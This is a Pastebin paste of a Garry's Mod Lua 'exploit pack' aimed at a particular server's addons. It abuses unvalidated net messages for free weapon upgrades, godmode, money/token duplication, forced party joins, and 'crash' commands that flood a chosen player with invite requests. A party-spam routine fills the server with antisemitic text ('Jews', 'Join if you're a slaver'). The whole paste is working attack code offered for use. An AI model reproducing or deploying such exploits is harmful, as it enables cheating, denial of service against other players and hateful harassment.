Advertisement
Guest User

Untitled

a guest
Jul 23rd, 2019
94
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.08 KB | None | 0 0
  1. /*
  2. Created by TikeneN
  3. */
  4.  
  5. local ply = LocalPlayer()
  6.  
  7. /*
  8. Buy all upgrades for current weapon
  9. */
  10.  
  11. concommand.Add("tik_upgradeweapon", function()
  12. local cooldown = 0
  13. for x=0, 3 do
  14. for i=0, 6 do
  15. cooldown = cooldown + 0.05
  16. timer.Simple(cooldown, function()
  17. print("Bought weapon upgrade "..i)
  18. net.Start("upgradeBuy")
  19. net.WriteInt(i, 32)
  20. net.SendToServer()
  21. end)
  22. end
  23. end
  24. end)
  25.  
  26.  
  27. /*
  28. Godmode
  29. */
  30.  
  31. CreateClientConVar("tik_godmode", "0")
  32.  
  33. local function doGodmode()
  34. hook.Add("Think", "healthHook", function()
  35. if ply:Health() < ply:GetMaxHealth() && ply:Alive() then
  36. net.Start("mavgivehealth")
  37. net.SendToServer()
  38. -- PREDICT
  39. timer.Create("predict", 0.05, 5, function()
  40. net.Start("mavgivehealth")
  41. net.SendToServer()
  42. end)
  43. end
  44. end)
  45. end
  46.  
  47. if GetConVarNumber("tik_godmode") == 1 then
  48. doGodmode()
  49. end
  50. cvars.AddChangeCallback("tik_godmode", function(a, b, c)
  51. if tonumber(c) != 1 then
  52. print("")
  53. print("Godmode disabled")
  54. print("")
  55. hook.Remove("Think", "healthHook")
  56. else
  57. print("")
  58. print("Godmode enabled")
  59. print("")
  60. doGodmode()
  61. end
  62. end)
  63.  
  64.  
  65.  
  66. /*
  67. Create parties
  68. */
  69.  
  70. concommand.Add("tik_party_spam_on", function()
  71. print("Party Spam [ON]")
  72. timer.Create("createParties", 0.1, 0, function()
  73. net.Start("EliteParty_CreateParty_ToServer")
  74. net.WriteString("Join if you're a slaver "..tostring(math.random(10000, 10000000)).." Join if you're a slaver Join if you're a slaver Join if you're a slaver Join if you're a slaver Join if you're a slaver Join if you're a slaver Join if you're a slaver Join if you're a slaver Join if you're a slaver")
  75. net.WriteString("Jews")
  76. net.WriteBool(true)
  77. net.WriteBool(true)
  78. net.WriteBool(true)
  79. net.WriteTable({r=255,b=255,a=255,g=255,})
  80. net.WriteTable({r=255,b=255,a=255,g=255,})
  81. net.SendToServer()
  82. end)
  83. end)
  84.  
  85. concommand.Add("tik_party_spam_off", function()
  86. timer.Remove("createParties")
  87. print("Party Spam [OFF]")
  88. end)
  89.  
  90.  
  91.  
  92.  
  93. /*
  94. Crash users who arent in a party
  95. */
  96.  
  97.  
  98. local function AutoCompleteUser( cmd, stringargs )
  99. local tbl = {}
  100. for k,v in pairs(player.GetAll()) do
  101. if string.find(v:Name():lower(), stringargs:lower()) then
  102. table.insert(tbl, "tik_party_crashuser "..v:Nick())
  103. end
  104. end
  105.  
  106. return tbl
  107. end
  108.  
  109. local function crashPerson(ply, cmd, args, argss)
  110. jugadorSeleccionado = ""
  111. for k, v in pairs(player.GetAll()) do
  112. if v:Name() == argss then
  113. jugadorSeleccionado = v
  114. end
  115. end
  116. if jugadorSeleccionado != "" then
  117. print("Crashing "..jugadorSeleccionado:Nick())
  118. local xd = math.random(5000, 1000000)
  119. hook.Add("Think", tostring(xd), function()
  120. for i=1, 15 do
  121. net.Start("EliteParty_InvitePlayer_ToServer") -- EliteParty_RequestJoin_ToServer if he's already the owner of a party
  122. net.WriteEntity(jugadorSeleccionado)
  123. net.SendToServer()
  124. end
  125. end)
  126. timer.Simple(30, function()
  127. print("Finished crashing "..jugadorSeleccionado:Nick())
  128. hook.Remove("Think", tostring(xd))
  129. end)
  130. end
  131. end
  132.  
  133. concommand.Add( "tik_party_crashuser", crashPerson, AutoCompleteUser )
  134.  
  135.  
  136. /*
  137. Crash users who own a party
  138. */
  139.  
  140. local function AutoCompleteOwner( cmd, stringargs )
  141. local tbl = {}
  142. for k,v in pairs(player.GetAll()) do
  143. if string.find(v:Name():lower(), stringargs:lower()) then
  144. table.insert(tbl, "tik_party_crashuser_owner "..v:Nick())
  145. end
  146. end
  147.  
  148. return tbl
  149. end
  150.  
  151. local function crashPersonOwner(ply, cmd, args, argss)
  152. jugadorSeleccionado = ""
  153. for k, v in pairs(player.GetAll()) do
  154. if v:Name() == argss then
  155. jugadorSeleccionado = v
  156. end
  157. end
  158. if jugadorSeleccionado != "" then
  159. print("Crashing "..jugadorSeleccionado:Nick())
  160. local xd = math.random(5000, 1000000)
  161. hook.Add("Think", tostring(xd), function()
  162. for i=1, 15 do
  163. net.Start("EliteParty_RequestJoin_ToServer")
  164. net.WriteEntity(jugadorSeleccionado)
  165. net.SendToServer()
  166. end
  167. end)
  168. timer.Simple(30, function()
  169. print("Finished crashing "..jugadorSeleccionado:Nick())
  170. hook.Remove("Think", tostring(xd))
  171. end)
  172. end
  173. end
  174.  
  175. concommand.Add( "tik_party_crashuser_owner", crashPersonOwner, AutoCompleteOwner )
  176.  
  177. /*
  178. Make whole server join your party
  179. */
  180.  
  181. concommand.Add("tik_party_joinserver", function()
  182. for k, v in pairs(player.GetAll()) do
  183. print("Joined user "..v:Nick())
  184. net.Start("EliteParty_PartyRequestAccepted_ToServer")
  185. net.WriteEntity(v)
  186. net.SendToServer()
  187. end
  188. end)
  189.  
  190.  
  191. /*
  192. We don't want other people to be able to crash us
  193. */
  194.  
  195. net.Receivers["eliteparty_requestjoin_toclient"] = nil
  196. net.Receivers["eliteparty_inviteplayer_toclient"] = nil
  197.  
  198.  
  199. /*
  200. Money exploit
  201. - When you have 100k money, use the command tik_moneytotoken and then reconnect so that you generate a lot of tokens and then reconnect
  202. - Your money will get reset back to normal and you can use tik_tokentomoney to spawn more by using the tokens you generated before
  203. */
  204.  
  205. concommand.Add("tik_tokentomoney", function()
  206. for i=0, 100 do
  207. net.Start("GRUBER_CREDIT_OPENEXCHANGE")
  208. net.WriteBool(true)
  209. net.WriteUInt(10, 32)
  210. net.SendToServer()
  211. end
  212. end)
  213.  
  214. concommand.Add("tik_moneytotoken", function()
  215. for i=0, 9000 do
  216. net.Start("GRUBER_CREDIT_OPENEXCHANGE")
  217. net.WriteBool(false)
  218. net.WriteUInt(10, 32)
  219. net.SendToServer()
  220. end
  221. end)
  222.  
  223.  
  224. /*
  225. Say something in chat every x seconds so I can find you to give you 100k
  226. */
  227.  
  228. local messages = {
  229. "GET REKT (Counter)",
  230. "sup guys",
  231. "GET READY (Raid)",
  232. "how do I switch jobs"
  233. }
  234.  
  235. timer.Create("sayChat", 600, 0, function()
  236. ply:ConCommand("say // "..table.Random(messages))
  237. end)
  238.  
  239.  
  240. /*
  241. Wow
  242. */
  243.  
  244. for i=0, 100 do
  245. print("")
  246. end
  247.  
  248. print("********************************************************************************************************************")
  249. MsgC(Color(245, 66, 212), " ~ OGL Exploit pack loaded - Created by TikeneN ~\n\n")
  250. MsgC(Color(69, 42, 53), "1. tik_upgradeweapon -> Buy all upgrades for holstered weapon\n")
  251. MsgC(Color(69, 42, 53), "2. tik_godmode -> Enable/Disable Godmode (You need to have +5k money)\n")
  252. MsgC(Color(0, 180, 255), "3. tik_party_spam_on/tik_party_spam_off -> Start/Stop creating parties\n")
  253. MsgC(Color(0, 180, 255), "4. tik_party_crashuser -> Crash an user who isnt in a party (You must be in a !party for this to work)\n")
  254. MsgC(Color(0, 180, 255), "5. tik_party_crashuser_owner -> Crash an user who is the owner of a party (You must be in a !party for this to work)\n")
  255. MsgC(Color(0, 180, 255), "6. tik_party_joinserver -> Make the whole server join your party (You must be in a !party for this to work)\n")
  256. MsgC(Color(120, 42, 255), "7. tik_tokentomoney -> Change tokens to money\n")
  257. MsgC(Color(120, 42, 255), "8. tik_moneytotoken -> Change money to tokens (You must have at least 100k for this to work)\n")
  258. print("********************************************************************************************************************")
  259.  
  260. for i=0, 22 do
  261. print("")
  262. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement